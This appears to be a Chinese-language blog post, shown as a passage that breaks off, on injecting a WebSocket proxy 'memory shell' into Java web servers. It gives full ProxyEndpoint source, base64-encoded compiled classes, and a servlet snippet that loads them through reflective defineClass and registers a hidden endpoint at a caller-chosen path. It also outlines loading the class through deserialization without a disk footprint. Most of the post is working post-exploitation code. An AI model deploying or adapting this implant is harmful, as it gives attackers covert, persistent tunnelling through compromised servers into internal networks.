61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.*;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

public class ProxyEndpoint extends Endpoint {
long i =0;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static class Attach {
public AsynchronousSocketChannel client;
public Session channel;
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
final ByteBuffer buffer = ByteBuffer.allocate(50000);
Attach attach = new Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
@Override
public void completed(Integer result, final Attach scAttachment) {
buffer.clear();
try {
if(buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (scAttachment.channel.isOpen()) {
scAttachment.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(scAttachment.channel,scAttachment.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(scAttachment.channel,scAttachment.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();}
});
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
session.setMaxBinaryMessageBufferSize(1024*1024*20);
session.setMaxTextMessageBufferSize(1024*1024*20);
session.addMessageHandler(new MessageHandler.Whole<ByteBuffer>() {
@Override
public void onMessage(ByteBuffer message) {
try {
message.clear();
i++;
process(message,session);
} catch (Exception ignored) {
}
}
});
}
}

正常流程是将ProxyEndpoint编译为class后,再对class文件base64编码,但是在编译后会发现生成了多个class文件,ProxyEndpoint$Attach.class、ProxyEndpoint.class、ProxyEndpoint$2.class、ProxyEndpoint$1.class,这里因为ProxyEndpoint里面有多个内部类,导致生成了多个class文件。
这时候要defineClass就比较麻烦了,需要把这些内部类也一起defineClass,写了个servlet测试四个defineClass后,代理确实能够正常使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();

byte [] b = null;
try {
if (servletContext.getAttribute(path) == null){
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQA3AoANgB1CQA1AHYHAHcKAAMAdQkANQB4BwB5CgAGAHUJADUAegMAAMNQCgB7AHwHAH0KAAsAdQkACwB+CQALAH8HAIAKAA8AgQoAFACCCwCDAIQKAAYAhQcAhgoAFACHCwCIAIkKAHsAigoAewCLBwCMCgB7AI0KABkAjggAjwoAGQCQCACRCgAUAJIKAJMAlAcAlQoAIQCWCgAUAJcFAAAAAAAAAAoJAJgAmQsAiACaBwCbCwCDAJwIAJ0LAJ4AnwoABgCgCgA1AKEIAKIDAUAAAAsAgwCjCwCDAKQHAKUKADIApgsAgwCnBwCoBwCpAQAGQXR0YWNoAQAMSW5uZXJDbGFzc2VzAQABaQEAAUoBAARiYW9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAA21hcAEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAlTaWduYXR1cmUBAFRMamF2YS91dGlsL0hhc2hNYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7PjsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAD0xQcm94eUVuZHBvaW50OwEADnJlYWRGcm9tU2VydmVyAQBJKExqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjtMamF2YS9uaW8vY2hhbm5lbHMvQXN5bmNocm9ub3VzU29ja2V0Q2hhbm5lbDspVgEAB2NoYW5uZWwBABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGY2xpZW50AQAtTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQAGYnVmZmVyAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAGYXR0YWNoAQAWTFByb3h5RW5kcG9pbnQkQXR0YWNoOwEAB3Byb2Nlc3MBADEoTGphdmEvbmlvL0J5dGVCdWZmZXI7TGphdmF4L3dlYnNvY2tldC9TZXNzaW9uOylWAQAHaWdub3JlZAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEABnZhbHVlcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABWFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEACWFkZHJhcnJheQEAAnBvAQABSQEAC2hvc3RBZGRyZXNzAQAcTGphdmEvbmV0L0luZXRTb2NrZXRBZGRyZXNzOwEABmZ1dHVyZQEAHUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQABegEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAC9MamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlPExqYXZhL2xhbmcvVm9pZDs+OwEADVN0YWNrTWFwVGFibGUHAKgHAKoHAKsHAIwHAFkHAIYHAJUHAKwHAJsBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAdzZXNzaW9uAQAGY29uZmlnAQAgTGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzsBAApTb3VyY2VGaWxlAQASUHJveHlFbmRwb2ludC5qYXZhDABBAEIMADkAOgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAA7ADwBABFqYXZhL3V0aWwvSGFzaE1hcAwAPQA+BwCqDACtAK4BABRQcm94eUVuZHBvaW50JEF0dGFjaAwATABNDABKAEsBAA9Qcm94eUVuZHBvaW50JDEMAEEArwwAsACxBwCrDACyALMMALQAtQEAK2phdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWwMALYAtwcArAwAtAC4DAC5ALoMALsAugEAEGphdmEvbGFuZy9TdHJpbmcMAFgAvAwAQQC9AQABIAwAvgC/AQABOgwAwADBBwDCDADDAMQBABpqYXZhL25ldC9JbmV0U29ja2V0QWRkcmVzcwwAQQDFDADGAMcHAMgMAMkAygwAtADLAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAzADOAQAkSFRUUC8xLjEgNTAzIFNlcnZpY2UgVW5hdmFpbGFibGUNCg0KBwDQDADRANIMANMA1AwASABJAQAnSFRUUC8xLjEgMjAwIENvbm5lY3Rpb24gRXN0YWJsaXNoZWQNCg0KDADVANYMANcA1gEAD1Byb3h5RW5kcG9pbnQkMgwAQQDYDADZANoBAA1Qcm94eUVuZHBvaW50AQAYamF2YXgvd2Vic29ja2V0L0VuZHBvaW50AQATamF2YS9uaW8vQnl0ZUJ1ZmZlcgEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQAbamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlAQAIYWxsb2NhdGUBABgoSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBACcoTFByb3h5RW5kcG9pbnQ7TGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAARyZWFkAQBPKExqYXZhL25pby9CeXRlQnVmZmVyO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcjspVgEABWdldElkAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABXdyaXRlAQA0KExqYXZhL25pby9CeXRlQnVmZmVyOylMamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAEZmxpcAEAEygpTGphdmEvbmlvL0J1ZmZlcjsBAAVjbGVhcgEABCgpW0IBAAUoW0IpVgEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEb3BlbgEALygpTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAFihMamF2YS9sYW5nL1N0cmluZztJKVYBAAdjb25uZWN0AQA3KExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOylMamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAHWphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0AQAHU0VDT05EUwEAH0xqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDsBADQoSkxqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDspTGphdmEvbGFuZy9PYmplY3Q7AQAOZ2V0QmFzaWNSZW1vdGUBAAVCYXNpYwEAKCgpTGphdmF4L3dlYnNvY2tldC9SZW1vdGVFbmRwb2ludCRCYXNpYzsHANsBACRqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWMBAAhzZW5kVGV4dAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAdc2V0TWF4QmluYXJ5TWVzc2FnZUJ1ZmZlclNpemUBAAQoSSlWAQAbc2V0TWF4VGV4dE1lc3NhZ2VCdWZmZXJTaXplAQArKExQcm94eUVuZHBvaW50O0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEAEWFkZE1lc3NhZ2VIYW5kbGVyAQAjKExqYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXI7KVYBAB5qYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQAIQA1ADYAAAADAAAAOQA6AAAAAAA7ADwAAAAAAD0APgABAD8AAAACAEAABAABAEEAQgABAEMAAABWAAMAAQAAACAqtwABKgm1AAIquwADWbcABLUABSq7AAZZtwAHtQAIsQAAAAIARAAAABIABAAAAA4ABAAPAAkAEAAUABEARQAAAAwAAQAAACAARgBHAAAAAABIAEkAAQBDAAAAkgAHAAUAAAAsEgm4AApOuwALWbcADDoEGQQstQANGQQrtQAOLC0ZBLsAD1kqLbcAELYAEbEAAAACAEQAAAAaAAYAAAAXAAYAGAAPABkAFQAaABsAGwArADkARQAAADQABQAAACwARgBHAAAAAAAsAEoASwABAAAALABMAE0AAgAGACYATgBPAAMADwAdAFAAUQAEAAAAUgBTAAEAQwAAAjEABAALAAAAyiq0AAIKlJ4ALCq0AAgsuQASAQC2ABPAABROLSu2ABW5ABYBAFcrtgAXVyu2ABhXpwCWKrQAAgqUmgCNuwAZWSu2ABq3ABtOLRIctgAdOgQZBAQyEh62AB06BbgAHzoGGQUEMrgAIDYHuwAhWRkFAzIVB7cAIjoIGQYZCLYAIzoJGQkUACSyACa5ACcEAFenABM6Ciy5ACkBABIquQArAgCxKrQACCy5ABIBABkGtgAsVyosGQa2AC0suQApAQASLrkAKwIApwAETrEAAwCAAI4AkQAoAAAAoADIACgAoQDFAMgAKAAEAEQAAABmABkAAAA9AAkAPwAaAEAAJQBBACoAQgAvAEMAMgBEADsARgBHAEcATwBIAFoASQBfAEoAaABLAHcATACAAE4AjgBSAJEATwCTAFAAoABRAKEAUwCxAFQAuABVAMUAWADIAFcAyQBZAEUAAAB6AAwAGgAVAEwATQADAJMADgBUAFUACgBHAH4AVgBXAAMATwB2AFgAWQAEAFoAawBaAFkABQBfAGYATABNAAYAaABdAFsAXAAHAHcATgBdAF4ACACAAEUAXwBgAAkAAADKAEYARwAAAAAAygBhAE8AAQAAAMoASgBLAAIAYgAAAAwAAQCAAEUAXwBjAAkAZAAAAD8ABjL/AF4ACgcAZQcAZgcAZwcAaAcAaQcAaQcAagEHAGsHAGwAAQcAbQ//ACMAAwcAZQcAZgcAZwAAQgcAbQAAAQBuAG8AAQBDAAAAcwAFAAMAAAAlKgm1AAIrEi+5ADACACsSL7kAMQIAK7sAMlkqK7cAM7kANAIAsQAAAAIARAAAABYABQAAAFwABQBdAA0AXgAVAF8AJABqAEUAAAAgAAMAAAAlAEYARwAAAAAAJQBwAEsAAQAAACUAcQByAAIAAgBzAAAAAgB0ADgAAAAiAAQACwA1ADcACAAyAAAAAAAAAA8AAAAAAAAAngDPAM0GCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAiAkAGgBFCQAaAEYKABsARwoASABJCgBIAEoKABgASwoASABMCQBDAE0KABAATgoAEABPCgBIAFAJABYAUQsAUgBTCwBSAFQLAFUAVgcAVwoAEABHCQAWAFgKAEMARAcAWQoAWgBbBwBcCgAaAF0HAF4KABoAXwcAYAcAYQcAYgEACnZhbCRidWZmZXIBABVMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAZ0aGlzJDABAA9MUHJveHlFbmRwb2ludDsBAAY8aW5pdD4BACcoTFByb3h5RW5kcG9pbnQ7TGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADElubmVyQ2xhc3NlcwEAEUxQcm94eUVuZHBvaW50JDE7AQAJY29tcGxldGVkAQAGQXR0YWNoAQAsKExqYXZhL2xhbmcvSW50ZWdlcjtMUHJveHlFbmRwb2ludCRBdHRhY2g7KVYBAANhcnIBAAJbQgEAAWIBAAFxAQAGcmVzdWx0AQATTGphdmEvbGFuZy9JbnRlZ2VyOwEADHNjQXR0YWNobWVudAEAFkxQcm94eUVuZHBvaW50JEF0dGFjaDsBAA1TdGFja01hcFRhYmxlBwAtBwBjBwBZAQAGZmFpbGVkAQAuKExqYXZhL2xhbmcvVGhyb3dhYmxlO0xQcm94eUVuZHBvaW50JEF0dGFjaDspVgEAAXQBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBACooTGphdmEvbGFuZy9UaHJvd2FibGU7TGphdmEvbGFuZy9PYmplY3Q7KVYBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAlTaWduYXR1cmUBAGJMamF2YS9sYW5nL09iamVjdDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI8TGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50JEF0dGFjaDs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEBAA9FbmNsb3NpbmdNZXRob2QHAGQMAGUAZgwAHwAgDAAdAB4MACEAZwcAYwwAaABpDABqAGsMAGwAbQwAbgBvDABwAHEMAHIAcwwAdAB1DAB2AHcMAHgAeQcAegwAewBrDAB8AH4HAIAMAIEAggEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDACDAIQBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwCFDACGAGcBABRQcm94eUVuZHBvaW50JEF0dGFjaAwAOAA5AQARamF2YS9sYW5nL0ludGVnZXIMACkAKwEAD1Byb3h5RW5kcG9pbnQkMQEAEGphdmEvbGFuZy9PYmplY3QBACNqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcgEAE2phdmEvbmlvL0J5dGVCdWZmZXIBAA1Qcm94eUVuZHBvaW50AQAOcmVhZEZyb21TZXJ2ZXIBAEkoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOylWAQADKClWAQAFY2xlYXIBABMoKUxqYXZhL25pby9CdWZmZXI7AQAMaGFzUmVtYWluaW5nAQADKClaAQAIaW50VmFsdWUBAAMoKUkBAANnZXQBABsoW0JJSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAARiYW9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEABXdyaXRlAQAHKFtCSUkpVgEAC3RvQnl0ZUFycmF5AQAEKClbQgEABHdyYXABABkoW0IpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAHY2hhbm5lbAEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBABdqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbgEABmlzT3BlbgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7BwCHAQAkamF2YXgvd2Vic29ja2V0L1JlbW90ZUVuZHBvaW50JEJhc2ljAQAKc2VuZEJpbmFyeQEAGChMamF2YS9uaW8vQnl0ZUJ1ZmZlcjspVgEABmNsaWVudAEALUxqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOwEAE2phdmEvbGFuZy9UaHJvd2FibGUBAA9wcmludFN0YWNrVHJhY2UBAB5qYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQAIAAaABsAAQAcAAIQEAAdAB4AABAQAB8AIAAAAAUAAAAhACIAAQAjAAAAQwACAAMAAAAPKiu1AAEqLLUAAiq3AAOxAAAAAgAkAAAABgABAAAAGwAlAAAAFgACAAAADwAmACgAAAAAAA8AHwAgAAEAAQApACsAAQAjAAABpAAEAAYAAADLKrQAArYABFcqtAACtgAFmQB7K7YABpsAdCu2AAa8CE4qtAACLQMrtgAGtgAHOgQqtAABtAAILQMrtgAGtgAJKrQAAbQACLYACrgACzoFLLQADLkADQEAmQATLLQADLkADgEAGQW5AA8CACq0AAG7ABBZtwARtQAIKrQAASy0AAwstAAStgATpwA/K7YABp4AOCu2AAa8CE4qtAACLQMrtgAGtgAHOgQqtAABtAAILQMrtgAGtgAJKrQAASy0AAwstAAStgATpwAETrEAAQAIAMYAyQAUAAMAJAAAAEoAEgAAAB4ACAAgABkAIgAgACMALwAkAD8AJQBOACYAWgAnAGoAKQB4ACoAhwArAIoALACRAC4AmAAvAKcAMAC3ADEAxgA0AMoANQAlAAAAUgAIACAAZwAsAC0AAwAvAFgALgAeAAQATgA5AC8AHgAFAJgALgAsAC0AAwCnAB8ALgAeAAQAAADLACYAKAAAAAAAywAwADEAAQAAAMsAMgAzAAIANAAAABcABf4AagcANQcANgcANvgAHztCBwA3AAABADgAOQABACMAAABDAAEAAwAAAAUrtgAVsQAAAAIAJAAAAAYAAQAAADcAJQAAACAAAwAAAAUAJgAoAAAAAAAFADoAOwABAAAABQAyADMAAhBBADgAPAABACMAAAA0AAMAAwAAAAoqKyzAABa2ABexAAAAAgAkAAAABgABAAAAGwAlAAAADAABAAAACgAmACgAABBBACkAPQABACMAAAA3AAMAAwAAAA0qK8AAGCzAABa2ABmxAAAAAgAkAAAABgABAAAAGwAlAAAADAABAAAADQAmACgAAAAEAD4AAAACAD8AQAAAAAIAQQBCAAAABABDAEQAJwAAABoAAwAaAAAAAAAAABYAQwAqAAgAVQB/AH0GCQ==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAQAkACgAoCQAKACkKAAsAKgoACAArCQAmACwKACYALQcALgcALwoACgAwBwAxBwAyBwA0AQALdmFsJHNlc3Npb24BABlMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247AQAGdGhpcyQwAQAPTFByb3h5RW5kcG9pbnQ7AQAGPGluaXQ+AQArKExQcm94eUVuZHBvaW50O0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAMSW5uZXJDbGFzc2VzAQARTFByb3h5RW5kcG9pbnQkMjsBAAlvbk1lc3NhZ2UBABgoTGphdmEvbmlvL0J5dGVCdWZmZXI7KVYBAAdtZXNzYWdlAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQANU3RhY2tNYXBUYWJsZQcALgEAFShMamF2YS9sYW5nL09iamVjdDspVgEACVNpZ25hdHVyZQEABVdob2xlAQBPTGphdmEvbGFuZy9PYmplY3Q7TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9uaW8vQnl0ZUJ1ZmZlcjs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEBAA9FbmNsb3NpbmdNZXRob2QHADUMADYANwwADwAQDAANAA4MABEAOAwAOQA6DAA7ADwMAD0APgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABNqYXZhL25pby9CeXRlQnVmZmVyDAAZABoBAA9Qcm94eUVuZHBvaW50JDIBABBqYXZhL2xhbmcvT2JqZWN0BwA/AQAkamF2YXgvd2Vic29ja2V0L01lc3NhZ2VIYW5kbGVyJFdob2xlAQANUHJveHlFbmRwb2ludAEABm9uT3BlbgEAPChMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmF4L3dlYnNvY2tldC9FbmRwb2ludENvbmZpZzspVgEAAygpVgEABWNsZWFyAQATKClMamF2YS9uaW8vQnVmZmVyOwEAAWkBAAFKAQAHcHJvY2VzcwEAMShMamF2YS9uaW8vQnl0ZUJ1ZmZlcjtMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247KVYBAB5qYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXIAIAAKAAsAAQAMAAIQEAANAA4AABAQAA8AEAAAAAMAAAARABIAAQATAAAAQwACAAMAAAAPKiu1AAEqLLUAAiq3AAOxAAAAAgAUAAAABgABAAAAXwAVAAAAFgACAAAADwAWABgAAAAAAA8ADwAQAAEAAQAZABoAAQATAAAAgAAFAAMAAAAjK7YABFcqtAABWbQABQphtQAFKrQAASsqtAACtgAGpwAETbEAAQAAAB4AIQAHAAMAFAAAABoABgAAAGMABQBkABIAZQAeAGcAIQBmACIAaAAVAAAAFgACAAAAIwAWABgAAAAAACMAGwAcAAEAHQAAAAcAAmEHAB4AEEEAGQAfAAEAEwAAADMAAgACAAAACSorwAAItgAJsQAAAAIAFAAAAAYAAQAAAF8AFQAAAAwAAQAAAAkAFgAYAAAABAAgAAAAAgAiACMAAAACACQAJQAAAAQAJgAnABcAAAASAAIACgAAAAAAAAAMADMAIQYJ");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

b = new BASE64Decoder().decodeBuffer("yv66vgAAADQAGAoAAwATBwAVBwAWAQAGY2xpZW50AQAtTGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7AQAHY2hhbm5lbAEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkF0dGFjaAEADElubmVyQ2xhc3NlcwEAFkxQcm94eUVuZHBvaW50JEF0dGFjaDsBAApTb3VyY2VGaWxlAQASUHJveHlFbmRwb2ludC5qYXZhDAAIAAkHABcBABRQcm94eUVuZHBvaW50JEF0dGFjaAEAEGphdmEvbGFuZy9PYmplY3QBAA1Qcm94eUVuZHBvaW50ACAAAgADAAAAAgABAAQABQAAAAEABgAHAAAAAQAAAAgACQABAAoAAAAvAAEAAQAAAAUqtwABsQAAAAIACwAAAAYAAQAAABIADAAAAAwAAQAAAAUADQAQAAAAAgARAAAAAgASAA8AAAAKAAEAAgAUAA4ACA==");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);

ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Thread.currentThread().getContextClassLoader().loadClass("ProxyEndpoint"), path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());

container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
} catch (Exception e){
}

虽然能用但是十分不优雅,为了解决这个问题 想了两个优化步骤
1、去除所有内部类,一个defineClass实现利用
2、研究反序列化的codefile能否不继承AbstractTranslet使用,不需要defineClass实现利用

步骤1 单独类实现 Websocket 代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;

public class ProxyEndpoint extends Endpoint implements CompletionHandler<Integer, ProxyEndpoint>, MessageHandler.Whole<ByteBuffer>{
long i =0;
Session session;
public AsynchronousSocketChannel client;
public Session channel;
ByteBuffer buffer;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();


@Override
public void completed(Integer result, ProxyEndpoint attachment) {
this.buffer.clear();
try {
if(this.buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = this.buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (this.channel.isOpen()) {
this.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(this.channel,this.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(this.channel,this.client);
}
}
} catch (Exception ignored) {}
}

@Override
public void failed(Throwable exc, ProxyEndpoint attachment) {

}

@Override
public void onMessage(ByteBuffer byteBuffer) {
try {
byteBuffer.clear();
i++;
process(byteBuffer, this.session);
} catch (Exception ignored) {
}
}


void readFromServer(Session channel,AsynchronousSocketChannel client){
this.buffer = ByteBuffer.allocate(50000);

this.client = client;
this.channel = channel;
client.read(this.buffer, this, this);
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
this.session = session;
session.addMessageHandler((MessageHandler)this);
}
}

步骤1实现比较简单,去除内部类后,只会生成一个class文件,利用起来优雅了一丝。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();

byte [] b = null;
try {
if (servletContext.getAttribute(path) == null){
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);

